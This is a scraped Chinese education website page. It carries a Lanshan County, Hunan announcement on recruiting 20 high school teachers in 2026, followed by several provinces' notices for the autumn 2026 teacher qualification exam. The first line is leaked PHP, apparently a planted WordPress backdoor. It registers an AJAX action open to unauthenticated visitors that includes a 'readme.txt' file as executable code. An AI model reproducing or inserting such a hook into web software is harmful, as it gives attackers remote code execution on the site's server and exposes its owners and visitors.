if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南省永州市蓝山县2026年普通高中校园公开招聘教师公告-全国教师资格考试网

湖南省永州市蓝山县2026年普通高中校园公开招聘教师公告

为加快建设教育强县,振兴县域普通高中,提高教育教学质量,根据《事业单位人事管理条例》《湖南省事业单位公开招聘人员办法》等有关文件精神,蓝山县教育局面向高校毕业生招聘一批普通高中教师,具体公告如下:

一、招聘原则

坚持德才兼备、以德为先的用人标准;坚持公开、平等、竞争、择优的原则;坚持工作需要、人岗相适,注重综合能力和专业知识相结合;采取考试与考察相结合的方式进行。

二、招聘计划及招聘对象

(一)招聘计划

本次共招聘12个岗位、20名高中教师,均为全额拨款事业编制,享受国家政策规定的相关待遇。

(二)招聘对象范围及要求

面向高校毕业生,即2024年、2025年、2026年毕业,且招聘过程中未落实编制内工作的毕业生。年龄要求为38周岁及以下(1987年5月22日及以后出生),具体招聘岗位、人数、学历、专业及其他资格条件等内容详见《蓝山县2026年普通高中校园公开招聘教师岗位需求目录》(附件1)。

三、报考条件

(一)基本条件

1.具有中华人民共和国国籍;

2.遵守中华人民共和国宪法和法律,拥护中国共产党领导和社会主义制度;

3.具有良好的政治素养和道德品行;

4.具备岗位所需的专业或技能条件;

5.大学本科学历及以上;

6.具有正常履职的身体条件和心理素质;

7.符合招聘岗位的报考要求(详见附件1);

8.法律法规规定的其他条件。

(二)不得报名情形

1.曾因犯罪受过刑事处罚的人员、曾被开除中国共产党党籍、被开除公职的人员;

2.尚未解除党纪、政务、事业单位工作人员处分或者正在接受纪律审查和监察调查的人员,涉嫌违法犯罪正在接受司法调查尚未作出结论的人员;

3.现役军人、高校在读非2026届毕业生(指2027年及以后毕业的在读学生);

4.在各级各类事业单位公开招聘中因违反《事业单位公开招聘违纪违规行为处理规定》被记入事业单位公开招聘应聘人员诚信档案库,且记录期限内的人员;

5.被依法列为失信联合惩戒对象的人员;

6.报考者不得报考聘用后即构成违反《湖南省事业单位公开招聘人员办法》第三十八条要求的岗位。即:与聘用单位负责人有夫妻关系、直系或者三代以内旁系血亲关系、近姻亲关系(均含拟制血亲关系)等的应聘人员,不得应聘该单位组织人事、纪检监察、审计、财务以及有直接上下级领导关系等岗位;

7.依据有关法律法规、纪律和政策不符合教职工准入条件的人员;

8.法律、政策规定不得聘用为事业单位工作人员的其他情形的人员。

四、招聘程序

本次招聘工作按发布公告、报名与资格审查格审、考试、体检、考察、公示、聘用等程序进行。各环节工作由县教育局负责牵头组织实施。

(一)发布公告

在蓝山县人民政府网、湖南科技大学就业平台发布公告。

(二)报名及资格初审

1.报名时间:2026年5月26日9:00—6月1日17:00

2.报名地点:湖南科技大学学生工作部青年就业创业服务驿站(湖南科技大学敏行楼C201)

3.报名方式:现场报名,每人限报一个岗位

4.报名程序及要求:

(1)报名需提供以下资料:①《2026年蓝山县普通高中教师公开招聘人员报名表》(附件2);②本人有效身份证原件及正反面复印件、毕业证、学位证、教师资格证;③有效期内的《教育部学历证书电子注册备案表》《中国高等教育学位在线验证报告》;④《诚信报考承诺书》(附件3);⑤现场报名时上传电子证件照片;⑥2026届毕业生提供加盖毕业院校公章的《大学生就业推荐表》、《教育部学籍在线验证报告》、相应学科教师资格证所需的《教师资格考试合格证明》或《师范生教师职业能力证书》以及《普通话水平测试等级证书》、大学课程成绩合格证明。

2026年应届毕业生须在2026年7月31日前取得并提供毕业证、学位证、教师资格证原件复审,否则取消聘用资格。

(2)报考人员须提供国家认可的学历、学位。对学历、专业等存疑的,须按提示在规定时间内补充必要证明材料,否则视为资格审核不合格。

5.资格审查贯穿教师招聘全过程,任何环节发现应聘人员不符合岗位报名条件或者材料弄虚作假,关键档案材料缺失的,一律取消考试或者聘用资格。由此造成的一切损失由报考人自行承担。

(三)考试

1.开考比例:报名人数与岗位计划人数的比例原则上不低于3:1。少数专业特殊或确实难以形成竞争的岗位,经2026年蓝山县普通高中校园公开招聘教师工作专班同意,可以取消、核减相应岗位招聘计划或者降低开考比例,取消、核减或降低开考比例的岗位予以公示。岗位计划取消的,该岗位报名成功人员可申请改报其他符合条件的岗位。

2.笔试:资格初审合格人员,于2026年6月3日下午3:00-5:30在湖南科技大学立功楼B栋5-6楼参加笔试,现场报名时通知准考证领取时间。笔试科目为一科,成绩实行百分制,成绩保留到小数点后两位,采取闭卷方式进行,内容为相应学科内容及专业知识。语文、数学、英语、物理、化学、日语科目参照高考题型命题,体育科目为教育综合知识和学科专业知识。为保障选拔人员具备必要的学科基础,笔试设最低合格分数线,笔试成绩须达60分方可进入面试。

3.面试:体育教师岗位面试采用试教+足球专业技能测试方式;其他教师岗位面试采用试教方式。根据同一岗位笔试成绩从高分到低分排名,按招聘岗位计划数1:3的比例确定面试对象(降低开考比例的按实际比例确定)。试教内容为应聘岗位对应的高一年级必修课程,教材版本以湖南省通用教材版本为准。试教按照抽签顺序→备课→试教→候分的程序进行。参加试教人员通过现场抽签确定试教顺序及试教课题,备课40分钟,试教15分钟,评委根据试教表现当场评分;专业技能测试,由评委根据测试内容确定测试时间。试教不使用多媒体教学设备,仅提供粉笔、备课纸、三角直尺、圆规等必要教具。试教成绩实行百分制,成绩精确到小数点后两位。试教时间及地点另行通知。试教成绩设最低合格分数线,试教低于70分的不得进入下一环节。

4.成绩核算:体育教师岗位,按笔试成绩占50%、试教成绩占25%、专业技能测试成绩占25%合成考试综合成绩;其他教师岗位按笔试成绩占50%、试教成绩占50%合成考试综合成绩。折算面试各环节成绩时四舍五入到小数点后两位,综合成绩四舍五入到小数点后两位。综合成绩相同的,以笔试成绩高者确定名次,仍无法区分的,通过延长小数点位数确定名次。

(四)体检

根据招聘计划,按同一岗位综合成绩从高分到低分1:1比例要求确定体检人员名单。体检由蓝山县教育局会同相关部门统一组织实施,体检项目和标准参照《公务员录用体检通用标准(试行)》和湘禁毒委〔2020〕26号文件及相关规定执行。体检时间另行通知。应聘人员对体检结论有疑问的,在接到体检结论通知之日起7日内向招聘单位主管部门提出复查。复查只进行一次,复检结论为最终结论。体检有关事项另行通知。如有体检不合格者,则从报考同一职位人员中按综合成绩从高到低依次递补,递补不得超过2次。

不按规定时间要求进行体检的,视为放弃体检。报考人员在体检过程中弄虚作假或者故意隐瞒真实情况的,按相关规定处理。

(五)考察及资格复核

根据体检合格情况等额确定考察对象。由招聘单位采取适当的考察方式,对被考察对象的政治素质、道德品行、能力素质、心理素质、学习和工作表现、遵纪守法、廉洁自律、岗位匹配度等方面进行考察,形成考察结论。聘用单位主管部门对被考察对象的人事档案、任职资格等进行审查,核实信息及材料的真实性、一致性和有效性。

(六)公示

笔试、面试、体检、考察等各个阶段的工作完成后,都将按政策规定对结果进行公示。拟聘用人员名单公示期不少于5个工作日,并接受考生的咨询与社会各界的监督。

(七)聘用

公示期无异议(或公示有异议但经查实不影响聘用)的,按规定程序办理入编入职手续,并报蓝山县人力资源和社会保障局备案。被聘用人员与聘用单位签订事业单位聘用合同,聘用合同明确最低服务年限、违约处理等事项。被聘用人员原则上在蓝山县公办学校最低服务年限5年(含试用期)。试用期满经考核合格的,予以正式聘用,不合格的取消聘用。

五、其他事项

(一)本次校园公开招聘公告在蓝山县人民政府网、湖南科技大学毕业生就业平台发布;拟聘公示在蓝山县人民政府网发布;核减岗位计划或者降低开考比例、笔试通知、试教通知、考试综合成绩、体检通知、体检结果发布及涉及招录过程的重要事项补充公告通过蓝山县人民政府网发布,部分重要事项可通过考生电话通知。报考人员应聘期间保持手机畅通,按照时间节点和工作提示自行查阅,因本人原因错过重要事项影响考试录用的,后果自负。

(二)本次校园公开招聘不举办、不委托任何机构举办考试辅导培训班,不指定任何参考用书和辅导资料,不指定任何教师招聘事务第三方服务单位。任何以考试命题组、专门培训机构等名义举办的辅导班、辅导网站,发行的出版物、参考资料均被视为非法行为。蓝山县教育局保留法律追诉权利。

(三)根据《事业单位公开招聘违纪违规行为处理规定》,对报名、考试、阅卷、体检、考察等阶段发现的各种违规违纪行为进行严厉打击,视具体情况给予应聘人员取消应聘资格、考试成绩无效等处理,并将违法违纪违规行为记入事业单位公开招聘人员诚信档案库,构成犯罪的,依法追究刑事责任。

(四)报考人员的所学专业应严格按照毕业证书准确无误地填写。专业审查参照《湖南省2026年考试录用公务员专业指导目录》(附件4)进行。所学专业已列入《湖南省2026年考试录用公务员专业指导目录》、但未列入招聘岗位专业的,不符合报考条件;所学专业未列入《湖南省2026年考试录用公务员专业指导目录》的,由招聘单位提出意见,由招聘单位主管部门认定,并报县人社局备案。

(五)本次校园公开招聘不收取考生报名费;体检费用由考生自理,其他组织实施费用由县财政承担。

其他未尽事宜,按国家、省、市有关文件规定执行,蓝山县教育局负责解释。

六、咨询与监督

(一)咨询电话

蓝山县教育局人事股 0746-2211686  邓老师13467483006

(二)监督电话

蓝山县人力资源和社会保障局事业单位管股 0746-2225892

蓝山县纪委监委派驻县教育局纪检监察组 0746-2258029

附件:

附件1:2026年蓝山县普通高中校园公开招聘教师岗位需求目录

附件2:2026年蓝山县普通高中校园公开招聘教师报名表

附件3:诚信报考承诺书

附件4:湖南省2026年考试录用公务员专业指导目录

蓝山县2026年普通高中校园公开招聘教师工作专班

2026年5月22日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部